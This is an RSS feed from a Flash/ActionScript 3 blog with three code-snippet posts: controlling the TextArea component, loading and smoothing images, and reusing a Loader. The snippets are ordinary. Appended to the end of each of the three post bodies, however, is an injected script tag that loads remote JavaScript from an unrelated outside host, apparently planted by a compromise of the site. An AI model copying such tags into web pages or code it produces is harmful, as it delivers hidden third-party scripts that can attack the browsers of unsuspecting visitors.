<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Loader</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/loader/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Adobe TextArea component &#8211; adding and controlling.</title>
		<link>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:31:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Carat]]></category>
		<category><![CDATA[Component]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=211</guid>
		<description><![CDATA[Adding the Adobe TextArea component and setting properties for padding, carat, loading html and setting start scroll point.]]></description>
			<content:encoded><![CDATA[<p><strong>Imports:</strong></p>
<p>import fl.controls.*;//text area component</p>
<p>import flash.net.*;</p>
<p>import flash.text.*;</p>
<p> </p>
<p><strong>Load html text into TextArea component:</strong></p>
<p>private function loadCaseOverviewText():void {</p>
<p>var urlLdr:URLLoader = new URLLoader();</p>
<p>urlLdr.addEventListener(Event.COMPLETE, completeTextLoadHandler);</p>
<p>urlLdr.dataFormat = URLLoaderDataFormat.TEXT;</p>
<p>urlLdr.load(new URLRequest(&#8220;text_assets/advertising_overview.html&#8221;));</p>
<p>}//loadCaseOverviewText</p>
<p> </p>
<p>private function completeTextLoadHandler(event:Event):void {</p>
<p>var str:String = event.target.data as String;</p>
<p>textAreaCMP.htmlText = str;</p>
<p>}//completeTextLoadHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Position scrollbar back at top of TextArea component when new content is loaded or a new section is navigated to using:</strong></p>
<p>textAreaCMP.verticalScrollPosition = 1;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Set padding in TextArea component:</strong></p>
<p>textAreaCMP.setStyle(&#8220;textPadding&#8221; , 10);</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Disable carat (bar) cursor from showing when rolling over textArea component:</strong></p>
<p>textAreaCMP.drawFocus (false);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Loading images dynamically (and smoothing them).</title>
		<link>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 20:58:38 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Bitmap]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Listeners]]></category>
		<category><![CDATA[Load]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Preloader]]></category>
		<category><![CDATA[Properties]]></category>
		<category><![CDATA[Smoothing]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=149</guid>
		<description><![CDATA[Setting up loader, listeners and preloader to load images; get the loaded content property information; 2 methods to smooth bitmaps that are loaded.]]></description>
			<content:encoded><![CDATA[<p><strong>Loading an image, setting up preloader and event listeners:</strong></p>
<p>loaderThumbs = new Loader();</p>
<p>var request:URLRequest = new URLRequest(url); //url would be string of path or array element</p>
<p>configureListeners(loaderThumbs.contentLoaderInfo);</p>
<p>loaderThumbs.load(request);</p>
<p>containerSprite.addChild(loaderThumbs);</p>
<p>//preloading listeners</p>
<p>private function configureListeners(dispatcher:IEventDispatcher):void {</p>
<p>dispatcher.addEventListener(Event.COMPLETE, completeHandler);</p>
<p>dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);</p>
<p>dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);</p>
<p>}//configureListeners</p>
<p><span> </span></p>
<p>//error loading</p>
<p>private function ioErrorHandler(event:IOErrorEvent):void {</p>
<p>//ignore but handle</p>
<p>}//ioErrorHandler</p>
<p>//preloader</p>
<p>private function progressHandler(event:ProgressEvent):void {</p>
<p>//trace(&#8220;progressHandler: bytesLoaded=&#8221; + event.bytesLoaded + &#8221; bytesTotal=&#8221; + event.bytesTotal);</p>
<p>//contentPreloader.percentage_mc.scaleX = event.bytesLoaded/event.bytesTotal;</p>
<p>}//progressHandler</p>
<p>//once it has loaded do something</p>
<p>private function completeHandler(event:Event):void {</p>
<p>//do whatever</p>
<p>}//completeHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Get loaded content information:</strong></p>
<p>private function completeHandler(event:Event):void {</p>
<p>trace(myLoader.contentLoaderInfo.width);</p>
<p>trace(myLoader.contentLoaderInfo.height);</p>
<p>}//completeHandler</p>
<p>/*</p>
<p>Returns a LoaderInfo object corresponding to the object being loaded. LoaderInfo objects are shared between the Loader object and the loaded content object. The LoaderInfo object supplies loading progress information and statistics about the loaded file. </p>
<p>*/</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Draw bitmap data &#8211; set size and smoothing:</strong></p>
<p>var myBitmapData:BitmapData = new BitmapData(stage.stageWidth , stage.stageHeight);</p>
<p>myBitmapData.draw(thumbnailsContainer.getChildAt(tempCounter));</p>
<p>var bmp:Bitmap = new Bitmap(myBitmapData);</p>
<p>bmp.smoothing = true;</p>
<p>mainArea.addChild(bmp);</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Simple smoothing of loaded image:</strong></p>
<p>private function completeHandler(event:Event):void {<span> </span></p>
<p>var bit:Bitmap = event.target.content;</p>
<p>if(bit != null){</p>
<p>bit.smoothing = true;</p>
<p>}</p>
<p>}//completeHandler<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/loading-images-dynamically-and-smoothing-them/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Re-use Loader &amp; Removing content</title>
		<link>http://blog.thornyrabbit.com/2009/04/re-use-loader-removing-content/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/re-use-loader-removing-content/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 20:54:31 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[LoadMovie]]></category>
		<category><![CDATA[removeChild]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=147</guid>
		<description><![CDATA[Re-using the same loader to prevent chaotic nesting when loading flash movies into other swf files. Deleting the existing content so its no longer there (quickly - listeners not removed will still be an issue).]]></description>
			<content:encoded><![CDATA[<p><strong>Standard initial load:</strong></p>
<p>var myLoader:Loader = new Loader();</p>
<p>addChild(myLoader);</p>
<p>var myContent:URLRequest = new URLRequest(whichSwf);</p>
<p>myLoader.load(myContent);</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>To get loaded content into same level:</strong></p>
<p>Moves it past loader (first parent) to root (second parent).</p>
<p>parent.parent.addChild(containerSprite) &#8211; only works occasionally.<br />
 </p>
<p><strong>Rather &#8211; do not create a new loader in the movies that load something else.</strong></p>
<p>//var myLoader:Loader = new Loader();</p>
<p>//addChild(myLoader);</p>
<p>var myContent:URLRequest = new URLRequest(whichSwf);</p>
<p>//myLoader.load(myContent);</p>
<p>Loader(parent).load(myContent);//it was loaded, so its parent is a loader so re-use it. Set code to NOT strict.</p>
<p>//Once it has loaded set the position to middle</p>
<p>private function completeHandler(event:Event):void {</p>
<p>imageContainer.getChildAt(0).x = &#8211; (imageContainer.width/2);</p>
<p>imageContainer.getChildAt(0).y = &#8211; (imageContainer.height/2);</p>
<p>}//completeHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Remove all children in existing &#8220;level&#8221;:</strong></p>
<p>Remove children before loading. Count backwards as they will move into lower depths if you start at the bottom!</p>
<p>private function loadContact(event:MouseEvent){</p>
<p>//add loader as above</p>
<p><span> </span></p>
<p>for(var i:Number = numChildren-1 ; i &gt;= 0 ; i&#8211;){</p>
<p>removeChildAt(i); //listeners not removed will still be an issue</p>
<p>}</p>
<p>myLoader.load(myContent);</p>
<p>}//loadContact<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/re-use-loader-removing-content/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
